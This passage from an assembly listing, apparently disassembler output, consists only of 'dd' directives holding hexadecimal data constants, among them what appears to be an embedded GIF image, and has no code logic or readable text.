15A9A615h, 6CC438C7h, 921C0A14h dd 5FE66400h, 66781699h, 0A92DC919h, 9B96B5E6h, 25E96C68h dd 0C27A39AFh, 3EF45C66h, 0FD565D84h, 4B7B56EEh, 0D94BAD9Ch dd 0C8C98D3Bh, 94DB8DD0h, 826290ACh, 4DEA411Eh, 1E2292h dd 0C7B29082h, 0A94DD909h, 90F33612h, 74A3C1CDh, 5D1A1E7Ah dd 7BF77E06h, 0E3A86B8Dh, 0F7C8F2DEh, 0EBDF63Ah, 0D4BBF86Ch dd 80C6F59Eh, 7152FA5Bh, 9CD68338h, 0CA87A3DAh, 0CF5EB7BCh dd 0F366CD6Dh, 0B484A81Ah, 3B1B4D82h, 0A0C29F03h, 612B8101h dd 4CD9EF3Dh, 0FA73F411h, 0A46937D4h, 37915104h, 0A21C6EFFh dd 46410D8Bh, 51808D9Fh, 64C8DB8Bh, 25DA45EEh, 74134935h dd 41433DCAh, 4358760Fh, 4760ECDEh, 0EF6DEA3Bh, 0E89BDF7Bh dd 672FE8D7h, 2CE03E05h, 0D1A5C393h, 143AC620h, 0DA1B45CCh dd 1BAE922Ah, 0D7D6DA2h, 11315AA6h, 0D5DBB75Bh, 0ADCCDEA4h dd 8C8B0D55h, 1740441Ch, 0D74B167Fh, 584C49A1h, 5D04521Ch dd 6A1B447Ch, 832E5F08h, 867B1862h, 120B1D4Ah, 620A6301h dd 0E127490Fh, 47AFC821h, 1051EAB9h, 6348FEBEh, 5E28DDABh dd 7852B26Ch, 0DC6B0DCEh, 0D8DABF17h, 5E91D0EFh, 580076EFh dd 782659C0h, 8C61A397h, 82828475h, 0B6C15AA5h, 3D2A4922h dd 5C49106Ah, 8725F35Fh, 0F1DB8080h, 4A487540h, 0C9609E37h dd 173E54F1h, 17D2B953h, 0CAC4D128h, 87EA9707h, 776F5B66h dd 0F5CAE8A1h, 0C5BBCB39h, 9318D672h, 1EF4DC3Fh, 0C3F60785h dd 5F66052Eh, 1EFB637Bh, 3C9CB6D7h, 0C1C03DFFh, 0E3932A0Eh dd 0B02FE7FCh, 6B0CB9FAh, 0A674CF2Fh, 344628C7h, 0D38DD18Eh dd 70F5E64Fh, 0B86ADDF9h, 0C3B1E2B6h, 0D0F4E765h, 6A27E50Ch dd 0FE6A559Ch, 0B8086FC6h, 6A80DD0Eh, 0AE6AC579h, 30D16B06h dd 1937F50Dh, 6F71C443h, 0C1AA7FA1h, 1734DE7Fh, 0D00F673Bh dd 90DC0EC0h, 6F86F40Dh, 466F9506h, 0D86FE7h, 65970270h dd 0E2811605h, 15267F60h, 73B17183h, 200C50F2h, 67438228h dd 0F050674h, 9D0EA746h, 582B79F7h, 0E68115Ah, 46832830h dd 55681678h, 5967E583h, 0DE59A5F6h, 16A57990h, 59E0DB85h dd 0B065A5A1h, 58437EF6h, 85B84784h, 2849162h, 0E5985968h dd 0DF59E0Dh, 0B0E20DBh, 0B80C8678h, 0E70E96Ah, 0A957E56Eh dd 8435335h, 66A1514Dh, 6016385Ch, 48491BF5h, 0DA8370Eh dd 46F779Bh, 0B8266F95h, 8538286Fh, 0A67030DFh, 70C70C35h dd 1508720Eh, 62173874h, 0B714F5FFh, 0B8771A82h, 17E3A714h dd 0F57E4849h, 0D6F58385h, 79D83D83h, 5574B79Eh, 353152E8h dd 88A0C60Ch, 7288D152h, 31EB88F1h, 4F71AB89h, 0CB0F20FCh dd 5950EC0h, 84F6A286h, 2A8520DAh, 0D5A57038h, 0C77F065h dd 0FC0CE8A4h, 0E7D55AE0h, 61C5D926h, 0E421B419h, 25CF8C46h dd 2996342Ch, 0DF8165C5h, 521F2385h, 47946926h, 0DF6C970Ah dd 22CE6CE2h, 43F7AD23h, 8B2BE434h, 48DE5B13h, 33D7F85Bh dd 0DB676357h, 2D14A26h, 2443B900h, 383938DDh, 18EF5C63h dd 8AF1497Eh, 0E80D90CAh, 0E0E87EA7h, 57D86D56h, 7F57E8FEh dd 75365805h, 8BF53853h, 0C160B8C1h, 36E86352h, 2983676Eh dd 48690247h, 23B63831h, 23371823h, 4062458Bh, 0F46449D2h dd 69742F40h, 1A3F65DFh, 82E45B03h, 14D30A30h, 1B921723h dd 96136116h, 2E46E414h, 4A8E924Bh, 43FA8EC6h, 61792424h dd 1B3AD622h, 929252FFh, 60F08F57h, 5978F80Dh, 0DB6A4599h dd 0D80C8680h, 86C57A80h, 349000CEh, 0D0C48BE5h, 1499070Ch dd 49723250h, 67B76465h, 36877367h, 72274244h, 714E3916h dd 8E767C54h, 0C67CC7C1h, 83304952h, 71F8947Bh, 89666373h dd 0A3514195h, 24093049h dd 0AA8EC8EDh, 26DD95B3h, 54B14F97h, 0B38B293Dh, 0E84E9408h dd 5A365684h, 0BD8BC8BBh, 0CE0CF8h, 1470470Dh, 728CB6D3h dd 16425642h, 40538F04h, 592383B1h, 0C6C83399h, 95E1497Ch dd 0F4342266h, 86DD5643h, 96426323h, 0E53B2436h, 0F2BE6E88h dd 3CA3C070h, 7861C96Bh, 87B047C3h, 9A19333Bh, 0BC3D55B5h dd 69A39B05h, 0D684914h, 0BA7E80EDh, 0D65B9BB9h, 94B86F7Eh dd 0C40C8581h, 75310CF0h, 70A38498h, 1E72721Fh, 0D2CA03C9h dd 92323D28h, 743105DEh, 0D71A0422h, 72091995h, 33697960h dd 2995D23h, 1493F59Ah, 6491E711h, 934C59FFh, 0C9152A48h dd 9326C69Ah, 0EC91F311h, 0B9DF9D58h, 3B14893h, 0DA69F0E2h dd 77EF9BE0h, 5399039Fh, 3C0C89FAh, 10CF0C75h, 6245340Dh dd 0CC48D247h, 37DD7786h, 29862A6Eh, 5F43F2C4h, 33B56C33h dd 21F30946h, 9C6ED371h, 0D2669942h, 3B729C42h, 6024D549h dd 199F3532h, 43B26040h, 0DB91F90Bh, 0A44A78D7h, 9B575944h dd 6F2AC2A5h, 44424409h, 43DA223Bh, 8EA11767h, 98F46363h dd 0EA0BD14h, 0D80D70CAh, 0B0DF8630h, 0A40A406Ah, 44A430D1h dd 30D1A45Ah, 5339FF0Ch, 0A991109Ch, 77CF4B57h, 2323713Bh dd 1A47C3AEh, 0C35C3B43h, 647A087Bh, 0FA7E07A8h, 438B8D67h dd 47E48756h, 87372A27h, 54890424h, 7B423D6Bh, 0AD44A968h dd 0D9A92CA7h, 48A32D28h, 8D54738Dh, 531047A4h, 5AF3D8A6h dd 37A667CDh, 501F146Ah, 0F102201h, 0F551E0D5h, 48288286h dd 5770DD94h, 0C3576A8Ah, 0CCA8D0FFh, 15330C40h, 160180Ch dd 0B71951F8h, 59CC1647h, 4C916487h, 3A01601Fh, 120110h dd 0D70DD0Ch, 0D951F51Dh, 0BAA80CB0h, 0E47E60Ch, 0AEAAD0C2h dd 59BF0C2Ah, 0BE0C60Ch, 1202400Ch, 0A01603A0h, 2B17E42h dd 0B2153A6Fh, 0DA9A7752h, 0A9D5F185h, 2401203Ah, 0E0230240h dd 0ACB0C00Bh, 0CEACDACCh, 0E0C0ACAAh, 0AD3AD20Bh, 23045AD3h dd 7AD700C0h, 0AC1AB9ABh, 0E2151ADCh, 502201F4h, 3203103h dd 3301E03Ah, 100330h, 0AC7AC6AAh, 0EE00C024h, 0CAEEAEFAh dd 12AC7AEh, 10010011h, 203AAE70h, 3503103h, 0FEADDA95h dd 0E64E46AAh, 0A80020A7h, 18016016h, 10130180h, 147DB03h dd 0EB0D032h, 17DBB0FBh, 1303103h, 5017B07h, 1022022Bh dd 0B1BB1A02h, 1EB1DB1Ch, 1B20B1FBh, 0B23B22B2h, 26B25B24h dd 9B28B27Bh, 20B23B2h, 0BA01FB2Ch, 75F16EEAh, 2001F14h dd 17B05022h, 38B070FFh, 0BB3AB39Bh, 0B3DB3CB3h, 40B3FB3Eh dd 3B42B41Bh, 0B45B44B4h, 48B47B46h, 4B16B3BBh, 0B2F020A9h dd 2101F4F7h, 0C0130160h, 0B5503AB0h, 58B57B56h, 0BB5AB59Bh dd 0B5DB5CB5h, 60B5FB5Eh, 3B62B61Bh, 0B65B64B6h, 32B5AB66h dd 60130140h, 0ABA02101h, 17021ADFh, 0B0480140h, 0BC0AC09h dd 78B77B76h, 0BB7AB79Bh, 0B7DB7CB7h, 80B7FB7Eh, 3B82B81Bh dd 0B85B84B8h, 7BB87B86h, 809B0ACBh, 1701404h, 3169CB6Dh dd 4016020Bh, 0B7708001h, 0B70BB0B8h, 0BB9AB990h, 0B9DB9CB9h dd 0A0B9FB9Eh, 3BA2BA1Bh, 0BA5BA4BAh, 0A8BA7BA6h, 0ABAABA9Bh dd 0B80BBB9h, 14080B77h, 200160h, 46BB9h, 48013AE0h, 0B0B90B90h dd 0B30B60Ah, 0C0BBFBBEh, 3BC2BC1Bh, 0BC5BC4BCh, 0C8BC7BC6h dd 0BBCABC9Bh, 0BCDBCCBCh, 0C3BCFBCEh, 0A0AB0B6Bh, 13048BBh dd 0C9000AFDh, 0C014B924h, 0AB0BA0Ah, 0E00B10B4h, 0E2BE1BFFh dd 5BE4BE3Bh, 0BE7BE6BEh, 0EABE9BE8h, 0DBECBEBBh, 0BEFBEEBEh dd 0E7BF1BF0h, 0A0AB0B4Bh, 0BB10AC0Bh, 0F19B6BB3h, 0A03AB925h dd 0B50B80Bh, 2C010AFh, 5C04C03Ch, 0C07C06C0h, 0AC09C08h dd 0DC0CC0BCh, 0C0FC0EC0h, 7C11C10h, 506E0B2Ch, 0C1704E05h dd 17C19C18h, 206E055Ch, 0B5C030Bh, 0B80BA0B8h, 0BBD8BF9Ah dd 3A017BFh, 0B00B70B8h, 0DC2C0AE0h, 0C2FC2EC2h, 32C31C30h dd 5C34C33Ch, 0C37C36C3h, 3AC39C38h, 1C3CC3BCh, 550AAC3h dd 5104F04Bh, 5C44C430h, 4FC43C4h, 0AA05504Bh, 70B0C2D0h dd 3A0B80Bh, 0C9C24017h, 0A0180214h, 0AB0B703h, 5AC590A6h dd 0DC5CC5BCh, 0C59C5EC5h, 0A40A70A9h, 90A80A40h, 0ADC5D0Ah dd 680A70A8h, 0DC5FC65Ch, 0A9C5DC6h, 0AD0A80A8h, 5C74C6E0h dd 0C77C76C7h, 75C79C78h, 0DC46C40Ch, 0C49C46C7h, 0B70ABC5Bh dd 101803A0h, 0BB5BFA16h, 0ABC56C54h, 8C0A30FFh, 3C63C8CCh dd 0C910A509h, 8DC63093h, 4C8FC8DCh, 0C8CC950Ah, 90091C90h dd 5C980A50h, 0A50A4C9h, 9EC91C9Dh, 7CA6C99Ch, 0CA1C99CAh dd 0A00930A5h, 3C930A4Ch, 0CAFCAE0Ah, 0B4CB3CA8h, 3CA0CB5Ch dd 0CB6CB209h, 8FC93CB0h, 0DCBACB9Ch, 4B07DC8h, 0C4050C43h dd 104CCC4Ch, 4C00100h, 43CC4CC5h, 0D07D04BCh, 0C84C82C8h dd 88C25C86h, 0B099C55Ch, 0CD90A20Ah, 91090CD9h, 0ECDE0920h dd 0CDA091CDh, 0DD0A2CE2h, 2CE3090Ch, 9A0900Ah, 0E70BDCC8h dd 10960A2Ch, 9109900h, 0E609B09Dh, 0DCF6CEDCh, 9B090CEh dd 0DACF509Dh, 1CD9CE5Ch, 0CF7C9C09h, 4D03D02h, 0C092CFFDh dd 90D04CFh, 0E4CE1092h, 3D05D01Ch, 4B056CEh, 1404F050h dd 8CC8D15Dh, 0D14D15CCh, 5604BCC4h, 90ABCDA0h, 0B30CD209h dd 9903ACD5h, 70900980h, 8ECDCD2h, 1709C098h, 0C09A09CDh dd 0CE0CDDC9h, 1098092h, 0B0950FFh, 5091D28Dh, 7F00109h dd 27D00D0Bh, 1D39D00Dh, 8E09800h, 38C9CCF3h, 0FD3DCDFDh dd 0D31D46CDh, 0FA091D37h, 3D28D07Ch, 0CDED35D3h, 0B0010BDh dd 0D00D48Dh, 0D5AD47CEh, 48CDCD28h, 0CD58D4DDh, 0CFAD59D4h dd 4AD4908Eh, 0AD4AD3FDh, 92D43D3h, 67D30D55h, 8D6FD5EDh dd 0D1904DD2h, 1D17D19h, 5C47D140h, 0D2804DD1h, 85D20098h dd 9209D22Ch, 6E099C8h, 8ED8508Eh, 109908D0h, 0D8508000h dd 0BD09B095h, 0F07908E0h, 8FD9208h, 3408D08Dh, 908F094Dh dd 79D8607h, 7D00107Eh, 5D99D940h, 0D9908DD8h, 0F308DD6Ah dd 3DA2D86Ch, 7908DD9h, 9AD93DA3h, 0BD92DACDh, 0CFA079DAh dd 97D9BD9Ah, 3D99DA0Dh, 0DAEDBAD9h, 8DDBAD90h, 0EDBDDA80h dd 0DB1DB0DBh, 0ACD94DC3h, 609D07FDh, 0D92DADDCh, 95DADDAFh dd 0AD42094Dh, 0DC5079DBh, 0ABDBBDB2h, 5D73DA8Dh, 0D14CC7D1h dd 47DDCD76h, 4DD190FFh, 0E06ED860h, 0C53CD3D7h, 6E098C55h dd 0B079DD30h, 0D3B07C08h, 8CDEADEAh, 808007A0h, 7D09DCCh dd 99D7607Dh, 7DF7DEA0h, 7DDF7D1h, 8CD89DEBh, 0C098DD00h dd 7F09D08h, 0F0DFFDB2h, 809D0A0Ch, 9D07E07h, 78080CC8h dd 0C09608C0h, 9A001D2h, 0C808F078h, 0BDEF08CDh, 99CC8DFh dd 81E0B081h, 80810A00h, 0D8907ECCh, 11081001h, 0FDF4DF2Eh dd 0E27E1BD9h, 7D0A0E0Eh, 9D8908C0h, 78E0A09h, 36E1DE34h dd 507DD76Eh, 9CE1409h, 3908C07Ch, 0B09C001Eh, 81D7607h dd 37E40E1Fh, 0FE11CF0Eh, 0D3BDF3E1h, 0D9DEAE1Ah, 0DD18DDCDh dd 0D13D17DDh, 0EA04DD14h, 109806EDh, 0D81C87D2h, 8C097DE7h dd 0A078E610h, 0E62095CEh, 76E67078h, 0A09C09C0h, 8007607h dd 9D08F0A0h, 2E61E3FDh, 96D9DE6h, 96CEF078h, 6D34E400h dd 7EDED07h, 11E05076h, 1D34E62Eh, 7807908h, 7E001097h dd 7AD6AEFFh, 60950810h, 76E88E8h, 67076DC8h, 0E71E93Eh dd 9E081E4h, 7FE23076h, 0CDF30780h, 1D9C09h, 6BE69097h dd 0A0A0E6DEh, 0E12E7307h, 21E8DE42h, 5E8308FEh, 7ED9DE8h dd 98DF708Ch, 8E0BE900h, 0A007B07h, 7A07607Fh, 608109E0h dd 0E31CEA07h dd 7D07F098h, 6E97E67Eh, 0EB1EAF07h, 15E99D42h, 7E8708CEh dd 8CE8109h, 17051E51h, 6D7604ADh, 0D7A051D7h, 5B097E73h dd 8E5DD7FEh, 7EC8914h, 0E2076EA1h, 700107FEh, 77EE207h dd 0F7077EE8h, 0DEE806DDh, 0D9DD9E06h, 0F2EE207Bh, 6001EC6Eh dd 0E7807609h, 77D34EE2h, 707EE440h, 0EB909E07h, 0F1D34EF3h dd 0B0BD076Eh, 0D8EEE909h, 0A0EE8EE9h, 0F07709A0h, 0F0909E07h dd 0E2EF0EE6h, 5077E97Eh, 0EF1EF4ECh, 0EB098E44h, 3EA0EEDEh dd 0E7ECEFEFh, 2DFD076h, 0D0BDEE2Fh, 9BEE2EBh, 98F0D0A0h dd 8F29EBEEh, 6CD34EEh, 0FCEF3E15h, 0FF13EFFh, 8EF2F25Fh dd 0F2BF15F2h, 0F2EC908Fh, 5052ED1Eh, 52ED5EDh, 0F2E57ED7h dd 0C07E097Eh, 209CD4E5h, 0C01E016h, 50960970h, 75F5007h dd 7506ACEAh, 0D1706B0h, 0ED5D9D08h, 6CDF7097h, 0BF51F510h dd 0EEE075EEh, 9DF5006Dh, 0DF3006ADh, 9E06A07h, 75F5E09Ah dd 0AF5DD9D0h, 0ED50A006h, 7E06A09Eh, 0AE15E4D0h, 0F7309A06h dd 5C06CD76h, 3080F50Fh, 0F54F7FF7h, 7EF30F60h, 7D76F590h dd 0EEEF5E09h, 67F5007Dh, 0A075F6EFh, 0F51E1506h, 79077D9Dh dd 5EE4F54Fh, 0D9E062EDh, 7EF67F5Eh, 4F6BF7AFh, 0F81EE5F6h dd 51F91F8Fh, 0FC42E51Fh, 1F40F3h, 51DE0F42h, 0C097096Fh dd 1BD01E00h, 4B147EDDh, 0B0A500CFh, 0FB908208h, 75E87082h dd 4FB90840h, 9B09C08h, 8308ACEFh, 83FBA0h, 0FBA08ADDh dd 76DD0FBAh, 10760820h, 84FCD00h, 8A084CEFh, 50940010h dd 9809C08h, 0C3FBAFC5h, 83082FFFh, 0FFBED420h, 9ACEFFBh dd 98FD808Ah, 1D2B0840h, 1FCBFEh, 9B083FC9h, 0F08609C0h dd 0FCCFBEFEh, 96FD5082h, 0AFDBFC30h, 0FCFFB9FCh, 82100094h dd 400A2904h, 450052C9h, 0C0050682h, 0A1104844h, 71308983h dd 13683422h, 150242A7h, 483829D6h, 0A4A4123h, 0E8621A2Fh dd 44806210h, 0F4324D17h, 1389B028h, 48A33098h, 0A6D35009h dd 61312894h, 0A8B8D136h, 160F0314h, 201D0C00h, 0A180C040h dd 60782D43h, 46916A50h, 21311C41h, 0E085432h, 28D4DA7h dd 0C86AAA3Ch, 84A2110h, 1854B50Bh, 3B20CED6h, 3A1D0D5Bh dd 21A40858h, 0EC8984Eh, 5070983Ah, 0B5440A0h, 0C708BD79h dd 85B8A210h, 1A843A26h, 91DED156h, 1D99072Ah, 5692D044h dd 0CD0D7BAEh, 0EBC7CB4Dh, 0EA7500A3h, 687BC42Ah, 844FA6ADh dd 742A1E26h, 43576509h, 0F25C0289h, 65A0955Ch, 7F3B2343h dd 0A54854FEh, 2C42A0FFh, 0E9D4BE35h, 9B144A04h, 0E93CA201h dd 40A784EDh, 1285409Fh, 69348A35h, 283A0C08h, 0BD541A2Dh dd 734D69BAh, 0B4FA24E6h, 4E204DE9h, 0D9D4E675h, 9F2388A4h dd 2FAC6F39h, 3B96700Eh, 6A7C39A6h, 26F9021Ah, 75EB456Eh dd 3F856BABh, 4BA5D2C7h, 0E64513Eh, 6432184Dh, 3BD6F522h dd 0FA380E6Fh, 0C63D48BAh, 0BC2EFB1Ch, 2F5BCAF1h, 50E64BADh dd 0F437AB04h, 0F93D0F63h, 0A10BA12Ch, 24F91443h, 0DBE24490h dd 0EE00B444h, 4C0EC398h, 0BFA4F8DEh, 3102C307h, 78DE4B00h dd 4A379070h, 2589AEB2h, 0C8321482h, 62726A27h, 0B09B21C8h dd 744A116Eh, 0A48420C0h, 292A3A8Ah, 8E93A000h, 0CCB24211h dd 24B10B2h, 4A1309B1h, 0C0A4490Ah, 83B13800h, 0B26AC110h dd 0CD2D90A4h, 0AC3342h, 8DF02902h, 92D302FAh, 0E4DA844Bh dd 0C44D26A4h, 0B8A192F4h, 0CB5040DEh, 3351312Dh, 28DE4E31h dd 0B72CC4FFh, 4C931470h, 0E37D0933h, 426B328Eh, 0B6454F11h dd 364D483Ch, 8ED3F913h, 240CFE3Ah, 4CE334D3h, 369AD164h dd 4E4F1079h, 90944B6Dh, 3361311Eh, 0B491204Bh, 9A25D6F5h dd 269192D0h, 39B28C9Fh, 84A4AD2Ah, 358A3791h, 936458F6h dd 66597655h, 59F6759Bh, 164DA368h, 80F94A0Eh, 0B36C5A43h dd 20D6B68Dh, 0DBEE0899h, 0D2489800h, 849D5E58h, 9F29B992h dd 38586E8Bh, 5DF775DAh, 7795E378h, 0B5EB7A5Eh, 0F37C5EF7h dd 38DAB795h, 0DFF7F5F4h, 25DB97Ch, 0C8F705Ch, 0CB7709B2h dd 0E75D15F5h, 8F161286h, 78962238h, 0B62B8A62h, 338C62F8h dd 8E6378D6h, 5F98B63Bh, 0B916438Fh, 7D6A29E3h, 6B825BC2h dd 8389E262h, 8F1890A7h, 4005CF5Eh, 8CAB86CAh, 0E43C0F8Eh dd 9E6779D0h, 67F9F67Bh, 7A1683A0h, 368BA268h, 93A468FAh dd 2BE7FA56h, 26628E4Ch, 1A96A229h, 0CE5827A7h, 9D8AF5FFh dd 0DCC3E0F1h, 0F875D35Fh, 10E835E6h, 0CBB26C7Bh, 0B46CFB36h dd 6D7B56D3h, 0FB76DBB6h, 96E3B86Dh, 4A30ECFBh, 21D71AB6h dd 8A62689Fh, 635EC630h, 66785EBh, 0F81D5D56h, 0C40CA358h dd 717C5713h, 0FC771BC6h, 9723C871h, 2BCA727Ch, 0CC72FCB7h dd 8B43371Bh, 0E2809792h, 0FF43D073h, 0B429D73Ch, 0BFF12330h dd 4A9866B9h, 0A1D02E10h, 38D23D0Dh, 6BDA7663h, 0DC76FDB7h dd 777DD773h, 0FDF77BDEh, 1783E077h, 0D3DC787Eh, 2A0AE2D0h dd 797E509Ah, 0E2A795E6h, 9F642D0Ah, 0DA3D0D3Dh, 1002E1D0h dd 419AEBAh, 6320740Bh, 10D0308Ch, 0CBF27C7Fh, 0F47CFF37h dd 7D7F57D3h, 0FF77DBF6h, 97E3F87Dh, 0B430FD3Fh, 0FC7EFFB0h dd 0FC9F0FF1h, 42E8C630h, 6F640B07h, 1EE14975h, 630FA05h dd 0BC18045h, 360640Bh, 840F81Dh, 13825046h, 2D0560A4h dd 660C4178h, 0E41B8350h, 0A0C104A0h, 0F43188FFh, 0EC010281h dd 0F4A80E1Ah, 204C1101h, 83186309h, 8600C21Ah, 8650C42Fh dd 0D61A433h, 1C43786Dh, 3B8750E6h, 7D0F61E4h, 62043F8h dd 4348851h, 0C0D41843h, 404C24C2h, 0A481F04h, 42628C0Eh dd 28059D6h, 18E1604Eh, 2E05B0C4h, 5B8B5164h, 0BD1762E4h dd 863045F8h, 24638C51h, 78CD1963h, 51A63446h, 82DC5A8Dh dd 84E8AA18h, 28700A11h, 1400144Eh, 1081F293h, 4902805Ch dd 0B21602B0h, 64047F0h, 24839052h, 790D2164h, 52264448h dd 64648B91h, 48F91D23h, 0B121248h, 5024856h, 2602102Eh dd 2F005136h, 0A80541B8h, 5A3C0004h, 90140260h, 794C0E81h dd 52A6544Ah, 6564AB95h, 4AF95D2Bh, 9652C658h, 2D65A4B3h dd 55CB796Dh, 130280CAh, 4F2600B0h, 0C0178378h, 0F8390380h dd 20412824h, 0E0580B02h, 66601802h, 4CF99D33h, 9A534668h dd 3566A4D3h, 6C4D79ADh, 9B5366B6h, 3766E4DBh, 6481799Fh dd 9904008Ah, 380E4A4Ch, 8180300h, 3B320360h, 0F04007E1h dd 53C410CEh, 67A4F39Eh, 4F79ED3Dh, 9F53E67Ch, 3F67E4FBh dd 804FF9FDh, 0F2A05406h, 0C938E77Ch, 80D9CF9h, 1CE99D00h dd 0F98A08A6h, 54468850h, 68A513A2h, 517A2D45h, 0A354668Ch dd 4668E51Bh, 854E6045h, 0E806C0C2h, 70076754h, 0A401D270h dd 652BA554h, 0FA5D4B69h, 54C69852h, 69A533A6h, 537A6D4Dh dd 0A754E69Ch, 0E293D37h, 7450903Ah, 0BA840DAh, 8C51817Dh dd 26A4547Ah, 654BA955h, 0FA9D536Ah, 5546A854h, 6AA553AAh dd 557AAD55h, 0A83306A3h, 80836h, 3Bh, 0 dd 38464947h, 21D6137h, 0FBE700F4h, 10000h, 1000200h, 6030004h dd 4080501h, 0B0D0A03h, 100E090Dh, 0F12100Ch, 12121513h dd 18141816h, 1B19151Ah, 191C1A16h, 1E1A1E1Ch, 22201C1Fh dd 2024221Eh, 27232624h, 2C2A2629h, 2A2D2B27h, 302C302Eh dd 34322E32h, 32363430h, 39353836h, 3E3C383Bh, 3C413F3Ah dd 44404240h, 49474346h, 484C4A46h, 4F4B4F4Dh, 54524D51h dd 5156544Fh, 59555755h, 5F5D585Bh, 6164625Dh, 68636765h dd 6D6B676Ah, 5F6F6D69h, 74598972h, 73716C89h, 6B8A755Ah dd 7A5F7877h, 7B78748Fh, 637C7974h, 7D71947Eh, 0CA8A337Eh dd 6D807F73h, 826B9780h, 677C9093h, 3F838276h, 8758BC8Fh dd 0B8913ECBh, 76858579h, 84809785h, 99887287h, 73DB8A56h dd 87829A89h, 0FF91418Ah, 818B8B7Fh, 8D7E8E8Dh, 0A08F789Fh dd 83A79468h, 9646908Fh, 0FE9352FFh, 7B939286h, 9854B093h dd 0A6957FF6h, 86A79778h, 968AA895h, 0A9988197h, 50FF9B5Ah dd 988CFF9Eh, 0C8997C99h, 66E89C69h, 9A8EFC9Ch, 0BAA2709Bh dd 8DFFA160h, 9D90AF9Ch, 0AA9D919Dh, 7FA6A090h, 0A292D7A2h dd 0FEA56DA8h, 97A3A396h, 0A965B0A2h, 0C9A97BFFh, 98FFAA66h dd 0A69AA5A5h, 0C1AF7AB3h, 72A9A89Ch, 0AA9DFFACh, 0ACAB9EABh dd 9EB2AC9Ch, 0ADA1B4AEh, 0B6AF9FBAh, 80CDAD9Eh, 0B098FFB2h dd 0B7B0A1CEh, 0A7C8AEA3h, 0BA6FB7AFh, 0DDB393FEh, 8FB9B2A3h dd 0B58BC5B7h, 0C1B3A8FEh, 0A7FFB984h, 0B9A9BDB7h, 0FEBC8EBFh dd 0ABFEBA96h, 0BBB2C2BBh, 0FFBF91C3h, 0B5C4BDADh, 0BFAFC5BDh dd 0E6C1A5C6h, 9BC7C1B1h, 0C3B3FFC3h, 0CBC5B5C9h, 0A4F7C7A2h dd 0C6B6FDC6h, 0CDC5BDCCh, 0BFCFC6BEh, 0C9B9D0C7h, 0FFCAA8CFh dd 0ADFDCE9Fh, 0CBBBFCCAh, 0FDCDA7D2h, 0B0D2CAC1h, 0CEBEFECCh dd 0FFCFB2D4h, 0B8D7D1C0h, 0D3C3FCD0h, 0FFD2BAD9h, 0B5DBD2CAh dd 0D5C5FFD6h, 0FCD5C2DCh, 0C8FDD8BCh, 0DBBADFD9h, 0FFDCB7F8h dd 0CAE0D8CFh, 0D9D4E1DBh, 0FFDAC6DBh, 0D2E2DCCBh, 0DACBE2DAh dd 0FCDCC5FCh, 0D4E4DBD3h, 0DECEE5DCh, 0E0DDD8E5h, 0DAE8DFD7h dd 0E3C7E2DFh, 0E8E2D1FBh, 0CEE3E0DBh, 0E1D8FBE2h, 0EAE2D9E9h dd 0DDEAE4D3h, 0E7CBE5E3h, 0ECE6D5FFh, 0CFE6E4DFh, 0E7D6FAE7h dd 0FAE4DCEDh, 0E0FAE6D6h, 0E6E1E8E5h, 0E3E4EAE9h, 0EDF5E5E1h dd 0E7DFDDE4h, 0F0E9D9F0h, 0E2EAE7E2h, 0EADAF6E6h, 0EBE8E3F1h dd 0DBF7E7E3h, 0E9E4F2EBh, 0F8E8E4ECh, 0DCF8EADEh, 0EAE5F3ECh dd 0F4EEDDEDh, 0EAEEECE6h, 0EDE7F5EBh, 0FDF0DCEFh, 0EAF7EEE5h dd 0F1E4F2EFh, 0FFF3DFFFh, 0ECFAF1E9h, 0F2EDF4F1h, 0FBF1F0F5h dd 0EFF6F3EEh, 0F7F1F7F5h, 0FBF6F9F9h, 0F4FBF8F3h, 0F9F7FCF9h dd 0FCF8FAF6h, 0FEFDFAF5h, 0FBF6F7F8h, 0F9FCFAFEh, 0FBFFFDF7h dd 0FCFEFAFDh, 0FFFEF8FFh, 0FCFBFDFFh, 0FFFEFBFFh, 2CFCh dd 21D0000h, 80000F4h, 99700FEh, 20B0481Ch, 0A8CB6A41h dd 0B0C6BB51h, 0DA8643A1h, 489C4A22h, 8BB7A231h, 0DC6A3318h dd 0C7A3B1C8h, 8A43208Fh, 0A4B2491Ch, 532893C9h, 0B2C95CAAh dd 3097CBA5h, 48AC7A63h, 9B4DA6B3h, 535E730Fh, 0CFA0D098h dd 2A79039Fh, 61B0A85Ch, 90DA8851h, 512A5CDEh, 50A7D3A6h dd 4A9D4AA3h, 0ABD5AAB5h, 0B5362F58h, 0D31BCDA8h, 1A915FAFh dd 0E8B0C85Dh, 0F0884D0h, 0B43B5D0Eh, 70B0592Ch, 4B9D662Dh dd 0BBDDAEB7h, 0BDEAF378h, 5BAE171Ah, 13036CB7h, 61D4985Dh dd 0BF7DC3E1h, 91B7049Eh, 8E705631h, 38C6469Dh, 0BDE42AB9h dd 0D37B2B20h, 0E632F53Ch, 4B399A90h, 63B9FCF5h, 0ED7B0E2h dd 0F66A4C3Fh, 0A7D4EA68h, 8BC5363h, 0DBEDB6B9h, 368B73B8h dd 0EFB7BBA9h, 0BB75C0DFh, 78BC4E0Ch, 93C6CDEFh, 0BCA92EEFh dd 0CECCF139h, 4E8F0F73h, 0D94B7A5Dh, 66BE23D8h, 0F7BBBD58h dd 0FEC3E0EFh, 0BE4F1F8Bh, 0E8F3F9BCh, 0CF5FABD3h, 0F7FBBDBEh dd 9FCBE3F0h, 0FDBEBF4Fh, 0EBF3F8FBh, 0BFBFCFDFh, 600FFFFh dd 75382028h, 0C0807Ch, 8750800Ah, 0D834017Fh, 24150160h dd 0CE0D1C91h, 1D9B9851h, 40E00C17h, 7381C810h, 4C030385h dd 1F6D6120h, 64223886h, 0C030405Bh, 17948F06h, 82166F80h dd 337E62F3h, 80E357F2h, 0DEA8E638h, 1F01915h, 9CB5368Ch dd 0FD138111h, 234CB8DDh, 0DC610C14h, 66E64B8Dh, 5C9B0808h dd 4104C8F3h, 4CA5640h, 8632C86h, 89587C03h, 425C96A5h dd 94058716h, 84A3350h, 0E4C790A5h, 0E8EA6B6Dh, 0C6709BE6h dd 0AE035B69h, 28946DCh, 48D6E245h, 0D7364D04h, 42750626h dd 90038916h, 6D4650C9h, 0E850A851h, 0A2590A1h, 425D06D9h dd 0E3A288D6h, 0A59B59B5h, 0E9AA6672h, 0D015F8A6h, 0A4016F48h dd 1500C111h, 24CE01D8h, 0CA36D819h, 2AC0C04h, 1FE28D9h dd 2AD9029Ch, 0C436400Ch, 10180304h, 0C632AC82h, 9005C081h dd 884151D1h, 0E6B6E471h, 16400332h, 82C0AF80h, 13AE0693h dd 83A32B14h, 0AD1B0EC1h, 3030496Dh, 4C9F0700h, 0D76FA0DBh dd 68E0B24h, 49B6D4A3h, 